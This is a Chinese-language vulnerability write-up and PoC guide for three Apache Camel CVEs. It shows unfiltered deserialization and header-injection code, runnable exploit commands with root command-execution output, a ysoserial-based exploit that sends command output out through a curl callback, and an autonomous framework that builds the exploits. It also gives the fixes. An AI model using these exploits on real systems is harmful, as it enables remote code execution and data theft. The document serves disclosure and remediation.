| CVE | 组件 | 类型 | CVSS | 结论 |
|---|
| CVE-2026-33453 | camel-coap | 标头注入 → 远程代码执行 | 10.0 严重 | 可利用 |
| CVE-2026-40473 | camel-mina | 不安全反序列化 → 远程代码执行 | 9.8 严重 | 可利用 |
| CVE-2026-40858 | camel-infinispan | 不安全反序列化 | 8.8 高危 | 可利用 |
组件： camel-coap — CamelCoapResource.java:103-109
CWE： CWE-915（对象属性修改控制不当）
修复版本： Camel 4.18.1 / 4.14.6
CamelCoapResource.handleRequest() 通过 setHeader() 将 CoAP URI 查询参数直接映射到 Camel Exchange 标头中，且未使用 HeaderFilterStrategy。CoAPEndpoint 继承自 DefaultEndpoint 而非 DefaultHeaderFilterStrategyEndpoint，因此任何未经身份验证的客户端都可以注入以 Camel* 为前缀的内部标头。
当路由转发到 camel-exec 时，攻击者控制的 CamelExecCommandExecutable 和 CamelExecCommandArgs 标头会覆盖配置的命令，通过单个 UDP 数据包即可实现预认证远程代码执行。
// CamelCoapResource.java:103-109 — 无 HeaderFilterStrategy
for (String s : options.getUriQuery()) {
int i = s.indexOf('=');
if (i == -1) {
camelExchange.getIn().setHeader(s, "");
} else {
camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
}
}
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] 响应: 2.05
[+] 命令输出: cf6ee154412e
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] 命令输出: app bin boot dev etc home lib ...
组件： camel-mina — MinaConverter.java:60-63
CWE： CWE-502（不可信数据反序列化）
修复版本： Camel 4.18.2 / 4.14.6 / 4.20.0
MinaConverter.toObjectInput(IoBuffer) 创建了一个原始的 java.io.ObjectInputStream，且没有 ObjectInputFilter。当 MINA 端点配置了 allowDefaultCodec=false 时，原始 TCP 数据以 IoBuffer 形式到达并进入 Camel 的类型转换器，该方法被调用——将攻击者控制的网络字节包装在未经过滤的 ObjectInputStream 中。
// MinaConverter.java:60-63 — 无 ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
InputStream is = toInputStream(buffer);
return new ObjectInputStream(is); // 攻击者控制的字节，无过滤器
}
攻击路径： 该利用针对配置了 allowDefaultCodec=false 的 MINA TCP 端点（PoC 中为端口 9879）。这完全绕过了 MINA 的编解码器层——ObjectSerializationCodecFactory 本身具有 ClassNameMatcher 白名单，否则会阻止任意类。禁用编解码器后，原始字节直接流向 MinaConverter.toObjectInput()，该方法创建了一个标准的 ObjectInputStream，且没有任何类过滤。
通过 CommonsCollections6 gadget 链（经由 ysoserial）可以以 root 身份执行任意命令。命令输出通过 curl 回调泄露给攻击者。
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] 命令输出:
uid=0(root) gid=0(root) groups=0(root)
[+] 已确认: CVE-2026-40473 RCE — 通过反序列化执行命令
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] 命令输出:
Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar 8 14:41:59 UTC 2026 aarch64 GNU/Linux
ysoserial-all.jar（CommonsCollections6 gadget）cd poc/
docker compose up -d --build
等待容器启动，然后验证：
docker logs vuln-camel-mina
您应该看到：
[*] 易受攻击的 MINA 服务器已启动
[*] 端口 9877: transferExchange（Java 反序列化）端点
[*] 端口 9878: 对象序列化编解码器端点
[*] 端口 9879: 原始 TCP（MinaConverter.toObjectInput）端点
[*] 等待连接...
端口 9879 是目标——它使用 allowDefaultCodec=false，这会禁用 MINA 的编解码器过滤器，并让原始 IoBuffer 到达 Camel 未经过滤的 MinaConverter.toObjectInput()。
首先，验证端点是否接受并反序列化任意 Java 对象，且没有 ObjectInputFilter：
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe
[*] 探测模式 — 确认反序列化（无 RCE）
[*] 载荷: HashMap（82 字节，原始 — 无 MINA 帧）
[+] 已连接到 MINA 端点
[+] 载荷已发送
[+] 数据到达 readObject()，未被过滤器拒绝
探测发送一个序列化的 HashMap。服务器通过 ObjectInputStream.readObject() 反序列化它，且没有抛出 InvalidClassException——确认零类过滤。
在 ysoserial 可用的情况下，利用未过滤的反序列化实现任意命令执行：
# 执行 'id' — 返回 uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# 读取文件
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'
# 系统信息
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
该利用生成一个 CommonsCollections6 gadget 链，以原始字节形式发送到端口 9879，并通过 curl 回调监听器捕获命令输出。
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
[--gadget GADGET] [--probe] [--raw]
target [port] [command]
target 目标 IP/主机名
port MINA TCP 端口（默认：9879）
command 要执行的命令（默认：id）
--ysoserial ysoserial.jar 的路径（未设置时自动检测）
--callback-host 容器用于访问您的主机（默认：host.docker.internal）
--gadget ysoserial gadget 链（默认：自动 — 尝试 CC6、CC5、CC1）
--probe 仅探测模式 — 确认反序列化而不执行 RCE
--raw 发送原始载荷，不带 MINA 4 字节帧（端口 9879 自动启用）
注意： --callback-host 默认为 host.docker.internal（Docker Desktop）。如果在没有 Docker Desktop 的 Linux 上运行，请使用 --callback-host 172.17.0.1 或您的 Docker 桥接 IP。
cd poc/
docker compose down
组件： camel-infinispan — DefaultExchangeHolderUtils.java:46-53
CWE： CWE-502（不可信数据反序列化）
修复版本： Camel 4.18.2 / 4.14.7 / 4.20.0
DefaultExchangeHolderUtils.deserialize(byte[]) 创建了一个没有 ObjectInputFilter 的 ClassLoadingAwareObjectInputStream。DefaultExchangeHolderProtoAdapter 将 Infinispan 缓存字节直接路由到此方法。具有缓存写入权限的攻击者（Hot Rod 端口 11222 或 REST API）注入恶意序列化载荷，当聚合仓库获取该键时会被反序列化。
这与 CVE-2024-22369、CVE-2024-23114 和 CVE-2026-25747 是相同的漏洞模式——Camel 反序列化路径中所有未修复的 readObject() 实例均缺少 ObjectInputFilter。
// DefaultExchangeHolderUtils.java:46-53 — 无 ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
return (DefaultExchangeHolder) ois.readObject(); // 攻击者控制
}
}
cd poc/
docker compose up -d --build
这将启动：
vuln-camel-coap — UDP 端口 5683 上的 CoAP 端点，带有 camel-exec 路由vuln-camel-mina — 端口 9877（transferExchange）、9878（ObjectSerializationCodecFactory）和 9879（原始 TCP — 主要攻击目标）上的 MINA TCP 端点infinispan — 端口 11222 上的 Infinispan 服务器vuln-camel-infinispan — 由 Infinispan 支持的 Camel 聚合仓库# CVE-2026-33453：CoAP 标头注入 → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'
# CVE-2026-40473：MINA 不安全反序列化 → RCE（参见上方详细说明）
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
# CVE-2026-40858：Infinispan 不安全反序列化
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222
cd poc/
docker compose down
本次评估使用 RAPTOR 自主安全研究框架执行：
camel-coap、camel-mina、camel-infinispan）/scan）— 对全部 3 个组件进行自动化漏洞发现/understand --map）— 攻击面映射：入口点、信任边界、汇聚点、未检查的数据流/validate）— 完整的 8 阶段可利用性验证流水线（阶段 0 → A → B → C → D → E → F → 1），确认全部 3 个发现是真实的、可达的且可利用的/exploit）— 开发可用的 PoC，并搭建基于 Docker 的测试环境| CVE | 修复版本 | 变更 |
|---|---|---|
| CVE-2026-33453 | 4.18.1 / 4.14.6 | CoAPEndpoint → 继承 DefaultHeaderFilterStrategyEndpoint；CoAPComponent → 实现 HeaderFilterStrategyComponent |
| CVE-2026-40473 | 4.18.2 / 4.14.6 / 4.20.0 | 在 readObject() 之前添加 ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") |
| CVE-2026-40858 | 4.18.2 / 4.14.7 / 4.20.0 | 添加 ObjectInputFilter 白名单（相同模式）；如果配置了 JVM 序列化过滤器则回退到该过滤器 |
本研究仅用于授权的安全测试和教育目的。所有利用均在本地构建的、运行易受攻击软件的 Docker 容器中进行了测试。请升级到上述列出的修复版本。